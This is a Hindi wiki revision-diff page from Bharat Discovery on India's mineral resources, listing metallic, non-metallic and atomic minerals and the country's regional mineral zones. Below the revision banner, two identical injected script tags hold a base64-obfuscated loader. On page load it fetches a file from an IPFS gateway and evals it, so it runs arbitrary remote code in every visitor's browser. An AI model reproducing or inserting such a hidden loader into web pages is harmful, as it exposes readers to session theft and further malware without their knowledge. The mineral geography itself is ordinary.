"खनिज संसाधन" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
('{{पुनरीक्षण}} {{tocright}} खनिज सम्पदा की उपलब्धता की दृष्ट...' के साथ नया पन्ना बनाया)
 
पंक्ति 1: पंक्ति 1:
 
{{पुनरीक्षण}}
 
{{पुनरीक्षण}}
 
{{tocright}}
 
{{tocright}}
[[खनिज]] सम्पदा की उपलब्धता की दृष्टि से [[भारत]] की गणना विश्व के खनिज संसाधन सम्पन्न देशों में की जाती है। चूंकि भारत की भूगर्भिक संरचना में प्राचीन दृढ़ भूखण्डों का योगदान है, अतः यहाँ लगभग सभी प्रकार के खनिजों की प्राप्ति होती है। एक तरफ यहाँ पर [[लोहा]], [[मैंगनीज]], [[टंग्स्टन]], [[तांबा]], [[सीसा]], [[जस्ता]], बॉक्साइट, [[सोना]], [[चाँदी]], इल्मेनाइट, बैराइट, मैग्नेसाइट, सिलेमैनाइट, [[टिन]] आदि धात्विक खनिज मिलते हैं, तो दूसरी तरफ अधात्विक खनिजों जैसे - अभ्रक, एसबेस्टस, पायराइट, [[नमक]], जिप्सम, [[हीरा]], काइनाइट, इमारती पत्थर, संगमरमर, चूना पत्थर, विभिन्न प्रकार की [[मिट्टी|मिट्टियाँ]] आदि भी मिलते हैं। अणुशक्ति के खनिजों यथा - [[यूरेनियम]], [[थोरियम]], इल्मैनाइट, [[बेरिलियम]], जिरकॉन, सुरमा, ग्रेफाइट आदि भी भारत में यत्र-तत्र मिलते हैं। प्राकृतिक शक्ति साधनों में कोयला, खनिज तेल तथा प्राकृतिक गैस की भी प्राप्ति स्थलीय एवं अपतट क्षेत्रों में होती है।  
+
[[खनिज]] सम्पदा की उपलब्धता की दृष्टि से [[भारत]] की गणना विश्व के खनिज संसाधन सम्पन्न देशों में की जाती है। चूंकि भारत की भूगर्भिक संरचना में प्राचीन दृढ़ भूखण्डों का योगदान है, अतः यहाँ लगभग सभी प्रकार के खनिजों की प्राप्ति होती है। एक तरफ यहाँ पर [[लोहा]], [[मैंगनीज]], [[टंग्स्टन]], [[तांबा]], [[सीसा]], [[जस्ता]], [[बॉक्साइट]], [[सोना]], [[चाँदी]], इल्मेनाइट, बैराइट, मैग्नेसाइट, सिलेमैनाइट, [[टिन]] आदि धात्विक खनिज मिलते हैं, तो दूसरी तरफ अधात्विक खनिजों जैसे - [[अभ्रक]], एसबेस्टस, पायराइट, [[नमक]], [[जिप्सम]], [[हीरा]], काइनाइट, इमारती पत्थर, संगमरमर, चूना पत्थर, विभिन्न प्रकार की [[मिट्टी|मिट्टियाँ]] आदि भी मिलते हैं। अणुशक्ति के खनिजों यथा - [[यूरेनियम]], [[थोरियम]], इल्मैनाइट, [[बेरिलियम]], जिरकॉन, सुरमा, [[ग्रेफाइट]] आदि भी भारत में यत्र-तत्र मिलते हैं। प्राकृतिक शक्ति साधनों में कोयला, खनिज तेल तथा प्राकृतिक गैस की भी प्राप्ति स्थलीय एवं अपतट क्षेत्रों में होती है।  
 
==भारत में खनिज क्षेत्र==
 
==भारत में खनिज क्षेत्र==
 
भारत के खनिज क्षेत्र को निम्नलिखित भागों में बांटा जा सकता है।
 
भारत के खनिज क्षेत्र को निम्नलिखित भागों में बांटा जा सकता है।
पंक्ति 7: पंक्ति 7:
 
यह क्षेत्र भारतीय खनिज की दृष्टि से सर्वाधिक महत्वपूर्ण है। इसे ‘भारतीय खनिज का हद्य स्थल’ कहा जाता है। यह आर्कियन शिल्ड क्षेत्र है जिसका संपूर्ण भाग [[उड़ीसा]] का पठार, [[छोटा नागपुर पठार|छोटानागपुर का पठार]], [[छत्तीसगढ़]] का उत्तरी भाग आदि से बना है। यहाँ का मुख्य खनिजों में कोयला, लोहा, मैंगनीज, अभ्रक, [[तांबा]], बॉक्साइट आदि बहुतायत में मिलते हैं। इस क्षेत्र में काइनाइट 100 प्रतिशत लौह-अयस्क 93 प्रतिशत, कोयला 84 प्रतिशत, क्रोमाइट 70 प्रतिशत आदि मिलते हैं।
 
यह क्षेत्र भारतीय खनिज की दृष्टि से सर्वाधिक महत्वपूर्ण है। इसे ‘भारतीय खनिज का हद्य स्थल’ कहा जाता है। यह आर्कियन शिल्ड क्षेत्र है जिसका संपूर्ण भाग [[उड़ीसा]] का पठार, [[छोटा नागपुर पठार|छोटानागपुर का पठार]], [[छत्तीसगढ़]] का उत्तरी भाग आदि से बना है। यहाँ का मुख्य खनिजों में कोयला, लोहा, मैंगनीज, अभ्रक, [[तांबा]], बॉक्साइट आदि बहुतायत में मिलते हैं। इस क्षेत्र में काइनाइट 100 प्रतिशत लौह-अयस्क 93 प्रतिशत, कोयला 84 प्रतिशत, क्रोमाइट 70 प्रतिशत आदि मिलते हैं।
 
====मध्य क्षेत्र====
 
====मध्य क्षेत्र====
यह भारत का दूसरा सर्वाधिक महत्वपूर्ण खनिज क्षेत्र है। इसका विस्तार [[मध्य प्रदेश]], छत्तीसगढ़ [[आंध्र प्रदेश]] और पूर्वी [[महाराष्ट्र]] के क्षेत्र तक है। इस क्षेत्र में मुख्यतः मैगनीज, बॉक्साइट, कोयला, लौह अयस्क, ग्रेफाइट, चूना पत्थर आदि पाये जाते हैं।
+
यह भारत का दूसरा सर्वाधिक महत्वपूर्ण खनिज क्षेत्र है। इसका विस्तार [[मध्य प्रदेश]], छत्तीसगढ़ [[आंध्र प्रदेश]] और पूर्वी [[महाराष्ट्र]] के क्षेत्र तक है। इस क्षेत्र में मुख्यतः मैंगनीज, बॉक्साइट, कोयला, लौह अयस्क, ग्रेफाइट, चूना पत्थर आदि पाये जाते हैं।
 
====दक्षिण क्षेत्र====
 
====दक्षिण क्षेत्र====
 
इस क्षेत्र में [[कर्नाटक]] का पठार और [[तमिलनाडु]] का उच्च क्षेत्र शामिल हैं। यहां लौह अयस्क, मैंगनीज, क्रोमाइट आदि खनिज प्राप्त होते हैं। इस क्षेत्र में नेवली के लिग्नाइट को छोड़कर कोयला, तांबा एवं अभ्रक की उपलब्धता नगण्य है।
 
इस क्षेत्र में [[कर्नाटक]] का पठार और [[तमिलनाडु]] का उच्च क्षेत्र शामिल हैं। यहां लौह अयस्क, मैंगनीज, क्रोमाइट आदि खनिज प्राप्त होते हैं। इस क्षेत्र में नेवली के लिग्नाइट को छोड़कर कोयला, तांबा एवं अभ्रक की उपलब्धता नगण्य है।
 
====दक्षिण-पश्चिम क्षेत्र====
 
====दक्षिण-पश्चिम क्षेत्र====
दक्षिणी कर्नाटक और [[गोवा]] इस क्षेत्र में आते हैं। यहां पर नारनेट, लौह अयस्क, तथा क्ले मिलते हैं।
+
दक्षिणी कर्नाटक और [[गोवा]] इस क्षेत्र में आते हैं। यहां पर नारनेट, [[लौह अयस्क]], तथा क्ले मिलते हैं।
 
====उत्तरी पश्चिमी क्षेत्र====
 
====उत्तरी पश्चिमी क्षेत्र====
 
इस क्षेत्र के अंतर्गत [[अरावली]] के क्षेत्र तथा [[गुजरात]] के भाग आते हैं। इसे [[यूरेनियम]], अभ्रक, स्टीयराइट तथा खनिज तेल के क्षेत्र के रूप में जाना जाता है। यहां सामान्यतः अलौह खनिजें, जिनमें मुख्य रूप से तांबा, सीसा, जस्ता, आदि शामिल हैं, मिलती हैं।
 
इस क्षेत्र के अंतर्गत [[अरावली]] के क्षेत्र तथा [[गुजरात]] के भाग आते हैं। इसे [[यूरेनियम]], अभ्रक, स्टीयराइट तथा खनिज तेल के क्षेत्र के रूप में जाना जाता है। यहां सामान्यतः अलौह खनिजें, जिनमें मुख्य रूप से तांबा, सीसा, जस्ता, आदि शामिल हैं, मिलती हैं।

10:02, 28 अप्रैल 2012 का अवतरण

Icon-edit.gif इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

खनिज सम्पदा की उपलब्धता की दृष्टि से भारत की गणना विश्व के खनिज संसाधन सम्पन्न देशों में की जाती है। चूंकि भारत की भूगर्भिक संरचना में प्राचीन दृढ़ भूखण्डों का योगदान है, अतः यहाँ लगभग सभी प्रकार के खनिजों की प्राप्ति होती है। एक तरफ यहाँ पर लोहा, मैंगनीज, टंग्स्टन, तांबा, सीसा, जस्ता, बॉक्साइट, सोना, चाँदी, इल्मेनाइट, बैराइट, मैग्नेसाइट, सिलेमैनाइट, टिन आदि धात्विक खनिज मिलते हैं, तो दूसरी तरफ अधात्विक खनिजों जैसे - अभ्रक, एसबेस्टस, पायराइट, नमक, जिप्सम, हीरा, काइनाइट, इमारती पत्थर, संगमरमर, चूना पत्थर, विभिन्न प्रकार की मिट्टियाँ आदि भी मिलते हैं। अणुशक्ति के खनिजों यथा - यूरेनियम, थोरियम, इल्मैनाइट, बेरिलियम, जिरकॉन, सुरमा, ग्रेफाइट आदि भी भारत में यत्र-तत्र मिलते हैं। प्राकृतिक शक्ति साधनों में कोयला, खनिज तेल तथा प्राकृतिक गैस की भी प्राप्ति स्थलीय एवं अपतट क्षेत्रों में होती है।

भारत में खनिज क्षेत्र

भारत के खनिज क्षेत्र को निम्नलिखित भागों में बांटा जा सकता है।

उत्तरी पूर्वी प्रायद्वीपीय क्षेत्र

यह क्षेत्र भारतीय खनिज की दृष्टि से सर्वाधिक महत्वपूर्ण है। इसे ‘भारतीय खनिज का हद्य स्थल’ कहा जाता है। यह आर्कियन शिल्ड क्षेत्र है जिसका संपूर्ण भाग उड़ीसा का पठार, छोटानागपुर का पठार, छत्तीसगढ़ का उत्तरी भाग आदि से बना है। यहाँ का मुख्य खनिजों में कोयला, लोहा, मैंगनीज, अभ्रक, तांबा, बॉक्साइट आदि बहुतायत में मिलते हैं। इस क्षेत्र में काइनाइट 100 प्रतिशत लौह-अयस्क 93 प्रतिशत, कोयला 84 प्रतिशत, क्रोमाइट 70 प्रतिशत आदि मिलते हैं।

मध्य क्षेत्र

यह भारत का दूसरा सर्वाधिक महत्वपूर्ण खनिज क्षेत्र है। इसका विस्तार मध्य प्रदेश, छत्तीसगढ़ आंध्र प्रदेश और पूर्वी महाराष्ट्र के क्षेत्र तक है। इस क्षेत्र में मुख्यतः मैंगनीज, बॉक्साइट, कोयला, लौह अयस्क, ग्रेफाइट, चूना पत्थर आदि पाये जाते हैं।

दक्षिण क्षेत्र

इस क्षेत्र में कर्नाटक का पठार और तमिलनाडु का उच्च क्षेत्र शामिल हैं। यहां लौह अयस्क, मैंगनीज, क्रोमाइट आदि खनिज प्राप्त होते हैं। इस क्षेत्र में नेवली के लिग्नाइट को छोड़कर कोयला, तांबा एवं अभ्रक की उपलब्धता नगण्य है।

दक्षिण-पश्चिम क्षेत्र

दक्षिणी कर्नाटक और गोवा इस क्षेत्र में आते हैं। यहां पर नारनेट, लौह अयस्क, तथा क्ले मिलते हैं।

उत्तरी पश्चिमी क्षेत्र

इस क्षेत्र के अंतर्गत अरावली के क्षेत्र तथा गुजरात के भाग आते हैं। इसे यूरेनियम, अभ्रक, स्टीयराइट तथा खनिज तेल के क्षेत्र के रूप में जाना जाता है। यहां सामान्यतः अलौह खनिजें, जिनमें मुख्य रूप से तांबा, सीसा, जस्ता, आदि शामिल हैं, मिलती हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख